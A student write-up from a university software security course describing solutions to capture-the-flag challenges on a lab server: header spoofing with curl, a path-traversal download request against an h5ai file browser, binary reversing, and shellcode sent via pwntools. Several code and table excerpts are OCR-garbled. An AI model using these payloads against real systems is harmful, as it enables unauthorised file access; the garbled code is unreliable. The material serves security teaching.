

CZ4067 Software Security: CTF Experience Report AY 21/22 Semester 2

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Web Challenge 1: Secure Browser

On accessing the webpage, the following message is displayed.

```
\leftarrow \rightarrow \mathbf{C} \Delta Not secure | 155.69.149.208:22801 Super secure firewall: only allowed access from 155.69.1.1, your IP is 10.22.46.236
```

We can use curl to:

- 1. Change the HTTP headers to change the access IP ("155.69.1.1"). (Link)
- 2. Set cookie with "admin=True"

We run the following command using curl:

```
curl -v -H "Cookie: admin=True" -H "X-Forwarded-For: 155.69.1.1" "http://155.69.149.208:22801" > tmp.html
```

When inspecting the html we see this page

```
Go to /flag for the flag.
```

Update the curl command to point to the flag route.

```
curl -v -H "Cookie: admin=True" -H "X-Forwarded-For: 155.69.1.1" "http://155.69.149.208:22801/flag" > tmp.html
```

Now we see this message on the page

You have to use the newest version of NTU secure browser to access this flag.

Inspecting the elements on the page, we find the required user-agent.

We add the user-agent to the headers, having the final *curl* command to be:

curl -v -H "Cookie: admin=True" -H "X-Forwarded-For: 155.69.1.1" -A "Mozilla/5.0 (X11; Linux rsic-v; rv:78.0) Gecko/20200630 NTU.SECURE.browser/2022.03" "http://155.69.149.208:22801/flag" > tmp.html

Inspecting the html file again, we finally obtain the flag

You get the flag: flag{p1ay_w1th_http_headers_ahp3zeCs}

Web Challenge 2: Not So Secure Cloud Storage

Run the following command using *curl*: (Link)


curl -X "POST" "http://155.69.149.208:22805/Public/_h5ai/public/index.php" --data-raw "action=download&as=flag.tar&type=php-tar&baseHref=&hrefs[0]=/Public\\..\\flag.txt" --output -

The following output is shown in the terminal, giving us the flag:


flag.txt00007550000000000000000000005114215442414007612 Oustar00..flag{security_in_realworld_1s_difficult}

Reverse Engineering Challenge 1: Easy Either Way

We use Ghidra to decompile the binary file "chall2".



We then export the program to a .c file from the Ghidra CodeBrowser.



Within the "chall2.c" file, we find the following code snippet.

```
printf("What\'s my favorite number? ");
    __isoc99_scanf();
    if (local_48 = 0×86187) {
        __s = (char *)FUN_00101249(0,8local_38);
        fputs(__s,stdout);
        putchar(10);
        free(__s);
}
```


We convert the hexadecimal number (0x86187) to decimal (549255).

```
sgoh046@sgoh046-Lenovo-IdeaPad-S540-14API:~/Downloads/CZ4067-CTF-master/RE/Easy Either Way$ ./chall2
What's my favorite number? 549255
flag{easy_with_debugger_upsqrc}
```

We use the decimal number as a guess to obtain the flag.

Reverse Engineering Challenge 2: Change my mind

Using Ghidra, locate the start address of the function _generate_flag (00401560) and flag (004053d0)



We use ObllyDbg to insert a JMP to the flag generation code at "00401560"

After the program is run, the flag is generated at starting location 004053d0: DSO{EIP-1s-iN-Ch@rg3_db0575}

```
004053C8 95 4D 61 00 00 00 40 00 0Ma...@.
004053D0 44 53 4F 7B 45 49 50 2D DSO(EIP-
004053D8 31 73 2D 69 4E 2D 43 68 1s=iN-Ch
004053E8 35 37 35 7D 00 00 00 00 00 575)....
```

Reverse Engineering Challenge 3: The Last RE

1. Inside the main function, if the input(local_a)) is wrong, bVar will be 1. Else, the input is correct.

```
undefined4 FUN_08048390 (undefined param_1)
 bool bVar1;
 undefined3 extraout var;
 char * dest;
 char local 120 [128];
 byte local a0 [140];
 undefined1 *local 14;
 local_14 = &param_1;
 gets((char *)local_a0);
 bVar1 = FUN 08048801(local a0);
 if (CONCAT31(extraout var,bVar1) == 0) {
   dest = "Wrong input!";
 }
 else {
   __dest = local_120;
   strcpy( dest,"The flag is flag{");
```

2. Looking at the function1 FUN_08048801, piVar6 is referenced to &DAT_0848980

```
bool FUN_08048801 (byte *param_1)
{
   bool bVarl;
   byte bVar2;
   uint uVar3;
   int iVar4;
   int iVar5;
   int *piVar6;
   int *piVar7;
   byte local_5c [12];
   int aiStack80 [16];

piVar7 = aiStack80;

piVar6 = sDAT_08048980;
```

3. Inside DAT, values are stored. The values represent the difference between adjacent characters in the string (from the actual flag). Converting the 4 bytes to hex:

		DAT_08048980		NI.	Durton	Have
08048980	ff ff ff	undefine	FFFFFFFFh	No.	Bytes	Hex
08048984	ff	??	11h	1	FF FF FF FF	-0X1
08048985	00	??	00h		11 11 11 11	OVI
08048986	00	22	00h	2	11 00 00 00	0X11
08048987	00	??	00h		11 00 00 00	OVII
08048988		??	F5h	_		0770
08048989		??	FFh	3	F5 FF FF FF	-OXB
0804898a		??	FFh			
0804898b 0804898c		??	FFh 03h	4	03 00 00 00	0x3
0804898d		22	00h		00 00 00	O/LO
0804898e		??	00h	5	F8 FF FF FF	-0x8
0804898f	00	??	00h)	FOFFFFF	-UXO
08048990	f8	??	F8h		00 00 00	٦
08048991	ff	??	FFh	6	05 00 00 00	0x5
08048992	ff	??	FFh			
08048993		??	FFh	7	OE 00 00 00	0xe
08048994		??	05h	,	02 00 00 00	One
08048995	00	??	00h	8	FD FF FF FF	-0x3
08048996 08048997	00	??	00h	0	LD LL LL LL	-UX3
08048998	0e	??	0Eh	_	04 00 00 00	0 1
08048999	00	??	00h	9	01 00 00 00	0x1
0804899a	00	??	00h			
0804899b	00	??	00h	10	06 00 00 00	0x6
0804899c	fd	??	FDh		00 00 00 00	OXO
0804899d	ff	??	FFh	11	F5 FF FF FF	-0xb
0804899e		??	FFh	TT	LD LL LL LL	-UXD
0804899f		??	FFh	4.0	06.00.00.00	•
080489a0	01	??	01h	12	06 00 00 00	0x6
080489a1 080489a2	00	??	00h 00h			
080489a3		??	00h	13	F8 FF FF FF	-0x8
080489a4		??	06h	13	1011111	OAO
	00	22	00h	1.4		Ove
080489a6	00	22	00h	14	F6 FF FF FF	-0xa
080489a7	00	??	00h			
080489a8	f5	??	F5h	15	00 00 00 00	-0x0
080489a9	ff	??	FFh			

4. Continuing looking down the function1 FUN_08048801, these 3 lines show that the flag consists of 15 letters and only holds lower case characters.

```
do {
   if ((char)param_1 [iVar5] < 'a') {
      uVar3 = FUN_08048519 (param_1 [1] & 1);
      param_1 [iVar5] = (byte) uVar3;
}

if ('z' < (char)param_1 [iVar5]) {
      uVar3 = FUN_08048519 (param_1 [1] & 2);
      param_1 [iVar5] = (byte) uVar3;
}

uVar3 = FUN_08048519 (param_1 [iVar5]);
bVar2 = (byte) uVar3;
local_5c [iVar5] = bVar2;
if ((0xcc < bVar2) && (bVar2 != 0xcf)) {
      bVar1 = true;
}
iVar5 = iVar5 + 1;
} while (iVar5 != 0xf);</pre>
```

5. Continuing looking down the function1 FUN_08048801, these 2 lines kept getting repeated on param_1 (which is the input). Analyzing the function [FUN_08048519], it takes in string as input, converts the string into integers and performs **ROT13** to the bytes in the function. Then, the next line converts the bytes back to string.

```
piVar7 = aiStack80;
piVar6 = &DAT_08048980;
for (iVar5 = 0xf; piVar7 = piVar7 + 1, iVar5 != 0; iVar5 = iVar5 + -1) {
 *piVar7 = *piVar6;
  piVar6 = piVar6 + 1;
bVarl = false;
iVar5 = 0;
do {
 if ((char)param_1 [iVar5] < 'a') {</pre>
   uVar3 = FUN_08048519 (param_1 [1] & 1);
   param_1 [iVar5] = (byte)uVar3;
  if ('z' < (char)param 1 [iVar5]) {
   uVar3 = FUN_08048519 (param_1 [1] & 2);
   param_1 [iVar5] = (byte)uVar3;
  uVar3 = FUN_08048519 (param_1 [iVar5]);
  bVar2 = (byte)uVar3;
  local 5c [iVar5] = bVar2;
```

6. Continuing looking down the function1 FUN_08048801, for the function not to return 0 (as desired in step1), the highlighted function must be false. What the highlighted portion does: Compare the difference between "difference between adjacent characters" and the data representing the flag. The difference needs to be zero so that the highlighted line is false and does not return 0.

```
if ((0xcc < bVar2) && (bVar2 != 0xcf)) {
    bVar1 = true;
}
iVar5 = iVar5 + 1;
} while (iVar5 != 0xf);
iVar5 = 0;
if (!bVar1) {
    do {
        iVar4 = iVar5 + 1;
        if ((uint)local_5c[iVar5 + 1] - (uint)local_5c[iVar5] != *(int *)(local_5c + iVar4 * 4 + 0x c))
    {
            return (bool)0;
    }
    iVar5 = iVar4;
} while (iVar4 != 0xe);
if (param_1 [0xf] == 0) {</pre>
```

Continuing, when the uVar3 equals 0, 'b' should be returned. [This also means that the
first character is 'b' since the difference between adjacent characters for the first
character is zero]

```
if (param_1 [0xf] == 0) {
  uVar3 = FUN_08048519 (0);
  if (uVar3 == 0) {
    uVar3 = FUN_08048519 (*param_1);
    return (char) uVar3 == 'b';
}
```

- 8. Hence, (to save time and manual calculation), python is used to calculate the actual flag.
 - a. First, convert the list in Step 3 into int

```
#Different between adjacent character (hex) saved in DAT_08048980

different_bw_char_hex=['-0x1', '0x11', '-0xb', '0x3', '-0x8', '0x5', '0xe', '-0x3', '0x1', '0x6', '-0xb', '0x6', '-0x8', '0x5', '0xe', '-0x3', '0x1', '0x6', '-0x8', '0x6', '-0x8', '0x5', '0x6', '-0x8', '0x5', '0x6', '-0x8', '0x5', '0x6', '-0x8', '0x5', '0x6', '-0x6', '-0x8', '0x5', '0x6', '-0x6', '-0x8', '0x5', '0x6', '-0x6', '-0x8', '0x5', '0x6', '-0x6', '-0x6', '-0x8', '0x5', '0x6', '-0x6', '-0x6', '-0x8', '0x5', '0x6', '-0x6', '-0x6', '-0x6', '-0x8', '0x5', '0x6', '-0x6', '
```

b. Perform reverse rotation (shift by -1) as the first difference should be zero since the first character has no adjacent character.

```
[173] #First difference is 0
    shift_by_1=[0]
    #Shift all letters by -1
    for i in different_bw_char_int:
        shift_by_1.append(shift_by_1[-1]+i)
    shift_by_1

[0, -1, 16, 5, 8, 0, 5, 19, 16, 17, 23, 12, 18, 10, 0]
```

c. Then converting the integer to string/char. Add by 98 since according to Step 7, the value 0 is converted to 'b'

```
[175] convert_to_char=""
    for i in shift_by_1:
        convert_to_char=convert_to_char+chr(i+98)
        convert_to_char
    'bargjbgursyntlb'
```

d. Finally, apply ROT13 to the string

Misc Challenge: GIF in 1989

We first check the the gif file using file chall.gif

```
—(kali⊗ kali)-[~/Desktop/GIF]

—$ file <u>chall.gif</u>


chall.gif: GIF image data, version 89a, 434 x 236
```

Next, we use exiftool to check the metadata of the gif file.

```
| Section | Post | Post
```

We find a suspicious string of characters in the Text field which resembles encoding in base64.

Decoding the base64 String gives us some hints that we have to generate a python file with the name puzzle.py in the end.



This led us to decode the message to Hex:



We find that the beginning of the hex "610d0d0a" resembles that of the header of a pyc file. To confirm this, we checked the magic number for the .pyc header in Python 3.9. All other versions of Python had a different header.

```
import importlib
importlib.util.MAGIC_NUMBER.hex()

> 0.7s
Python
'610d0d0a'
```

Following this, we will need to generate a pyc file using these hexadecimals in order to generate the python executable. To do this we converted the hexadecimals values into bytes and wrote it

into a file named puzzle.pyc.

To will need to decompile the pyc file in order to get a python executable. However, we realized that all major python decompiler modules do not support python 3.9 except for this: https://github.com/zrax/pycdc

```
(kali@ kali)-[~/Desktop/GIF]
$\.\py\cdc \text{puzzle.pyc}$

$\text{Source Generated with Decompyle++} \text{ file: puzzle.pyc (Python 3.9)} \\
import random \\
key = 'ntu' \\
strr = '218,118,52,87,81,92,71,84,205,30,245,195,215,16,160,250,0,120,172,42,227,222,144,227,208,123,231,255,162,86,148,217'
\text{def solve(str2, key): random.seed(key) \\
str1 = '\\
return str1 \\
\end{arrange}
```

Compiling and running the module, we were only able to get the partially decompiled python code. Since we saw a similar blog online (https://ctf-wiki.mahaloz.re/misc/picture/gif/), we tried to fill in the second function stated on the blog. Finally, we were able to get the decompiled code. Running the code in a python interpreter will allow us to get the flag.

```
| Import problem | Impo
```

Pwn: No More Shell

Using the hint from the question where there's a missing file 'flag.txt". We use the shellcraft module to generate shellcode to open the file "./flag.txt" and send the payload to the server.

```
(kali@ kali) - [~/Desktop/No More Shell]
- $ python3 No. More\ Shell.pv
[*] Opening connection to 155.69.149.208 on port 22803: Done
[*] Switching to interactive mode
flag[ExecStack_ENABLED_1230Rbdqhb]
[*] Got EOF while reading in interactive
```

This will give return us the flag{ExecStack_ENABLED_123ORbdqhb}